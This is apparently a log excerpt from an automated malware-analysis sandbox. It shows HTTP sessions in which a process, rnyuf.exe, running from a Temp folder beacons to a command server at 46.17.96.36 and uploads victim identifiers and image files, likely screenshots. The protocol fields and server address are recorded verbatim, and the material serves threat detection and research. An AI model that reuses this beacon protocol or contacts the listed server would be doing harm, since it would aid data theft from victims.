Aug 29, 2021 22:27:38.224826097 CEST	7882	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:38.329565048 CEST	7948	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.4	49800	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:39.104111910 CEST	7948	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ce51b85b4f9ae9a3c4604c72e2e1c4b9 Host: 46.17.96.36 Content-Length: 110607 Cache-Control: no-cache
Aug 29, 2021 22:27:39.104212046 CEST	7949	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 65 35 31 62 38 35 62 34 66 39 61 65 39 61 33 63 34 36 30 34 63 37 32 65 32 65 31 63 34 62 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ce51b85b4f9ae9a3c4604c72e2e1c4b9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:39.112994909 CEST	7959	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:39.113271952 CEST	7961	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:39.148602962 CEST	7964	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:39.148680925 CEST	7975	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:39.148858070 CEST	7981	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:39.148922920 CEST	7987	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:39.184252024 CEST	7990	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:39.184298992 CEST	7992	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:39.184328079 CEST	8003	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:39.304362059 CEST	8060	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.4	49801	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:40.510046005 CEST	8060	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: d1=1000004001&unit=152138533219
Aug 29, 2021 22:27:40.584520102 CEST	8100	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.4	49802	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:40.515219927 CEST	8061	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ce51b85b4f9ae9a3c4604c72e2e1c4b9 Host: 46.17.96.36 Content-Length: 110607 Cache-Control: no-cache
Aug 29, 2021 22:27:40.515302896 CEST	8061	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 65 35 31 62 38 35 62 34 66 39 61 65 39 61 33 63 34 36 30 34 63 37 32 65 32 65 31 63 34 62 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ce51b85b4f9ae9a3c4604c72e2e1c4b9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:40.515470982 CEST	8071	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:40.515533924 CEST	8074	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:40.550405025 CEST	8077	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:40.550528049 CEST	8079	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:40.550554991 CEST	8082	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:40.550810099 CEST	8094	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:40.550856113 CEST	8099	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:40.587110996 CEST	8105	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:40.587218046 CEST	8110	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:40.699799061 CEST	8173	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.4	49803	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:40.733958006 CEST	8174	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:40.805799961 CEST	8174	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.4	49804	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:40.956150055 CEST	8175	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ce51b85b4f9ae9a3c4604c72e2e1c4b9 Host: 46.17.96.36 Content-Length: 110607 Cache-Control: no-cache
Aug 29, 2021 22:27:40.956264019 CEST	8175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 65 35 31 62 38 35 62 34 66 39 61 65 39 61 33 63 34 36 30 34 63 37 32 65 32 65 31 63 34 62 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ce51b85b4f9ae9a3c4604c72e2e1c4b9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:40.956473112 CEST	8185	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:40.956850052 CEST	8188	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:40.993031025 CEST	8191	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:40.993086100 CEST	8208	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:40.993211031 CEST	8213	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:41.028354883 CEST	8216	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:41.028386116 CEST	8224	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:41.028503895 CEST	8243	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:41.028528929 CEST	8253	OUT	Data Raw: 4e 02 80 38 a7 01 4c 86 ce 97 c2 6b 98 f5 1f fa e4 3f 91 ae 74 f0 ed f5 ae a7 c1 f1 ee 83 53 3f f4 cb fa 1a e6 18 7c c7 eb 5c 14 25 fb fa 8b d0 ea ae ad 42 0f d4 6d 18 a5 c5 18 ae db 9c 37 12 9c 28 c5 00 50 20 a5 a5 c5 2e 3d aa 5b 10 98 a3 14 f0 Data Ascii: N8Lk?tS?\|\%Bm7(P .=[xF?AR[i?CU?H=9WeImd[k4>f)w5X*sJ1]/f@7yZKI/&:Z{77?/mZ_Z+
Aug 29, 2021 22:27:41.135195017 CEST	8286	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 29, 2021 22:27:41.143050909 CEST	8286	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:41.221348047 CEST	8286	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.4	49805	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:40.957469940 CEST	8188	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:41.029601097 CEST	8264	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.4	49806	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:41.436784983 CEST	8287	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:41.511917114 CEST	8326	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.4	49807	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
